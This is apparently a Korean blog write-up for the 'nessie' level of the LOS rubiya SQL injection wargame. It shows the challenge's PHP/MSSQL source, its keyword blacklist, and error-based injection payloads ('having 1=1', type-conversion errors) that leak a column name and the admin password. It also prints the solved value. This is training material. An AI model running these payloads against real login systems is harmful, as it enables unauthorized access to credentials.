<코드 분석>
<?php
include "./config.php";
login_chk();
$db = mssql_connect();
if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['id'])) exit("No Hack ~_~");
if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['pw'])) exit("No Hack ~_~");
$query = "select id from prob_nessie where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
sqlsrv_query($db,$query);
if(sqlsrv_errors()) exit(mssql_error(sqlsrv_errors()));
$query = "select pw from prob_nessie where id='admin'";
$result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
if($result['pw'] === $_GET['pw']) solve("nessie");
highlight_file(__FILE__);
?>
처음보는게 많다. 일단 코드부터 보자.
master / sys / information / prob / waitfor / _ 필터링 되고 있다.
sqlsrv ??? 이게 처음보는 거다.
ms-sql 이네. 에러가 생기면 error 문을 보여준다.
<해설>
error base sql injection 으로 해결하면 좋지않을까 생각이 들었다.
역시 맞다.
?id=admin' and (select (Len(pw)>0) union select 1) --
이제 에러를 어떻게 유발해줄지를 고민해봐야 하는데
?id=a' having 1=1 --
이렇게 입력을 해주게 된다면,
Error: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Column 'prob_nessie.id' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
이런 에러 메시지를 준다. 여기서 prob_nessie.id 라는 id 컬럼이 유출된 것을 알 수 있다.
이제 pw 를 찾아보도록 하자.
?id=admin&pw=1' or id='admin' and pw=1 --
이렇게 주게 되면, 질의하는 과정에서 , pw =1 (varchar가 아님) 이기 때문에, 오류가 생기게 된다.
이 과정에서 원래 pw 값을 convert 하는 과정이 생기게 되고, error 메시지에 그값을 보여주는 것이다.
자료형을 이용해서 에러 메시지에 원하는 값을 띄워줄 수 있다.
uawe0f9ji34fjkl
Clear!
'WriteUp > LOS_rubiya' 카테고리의 다른 글
LOS -rubiya : Kraken (0) | 2020.05.20 |
---|---|
LOS -rubiya : Mummy (0) | 2020.05.18 |
LOS -rubiya : revenant (0) | 2020.05.14 |
LOS -rubiya : Yeti (0) | 2020.05.14 |
LOS -rubiya : Skeleton (0) | 2020.05.13 |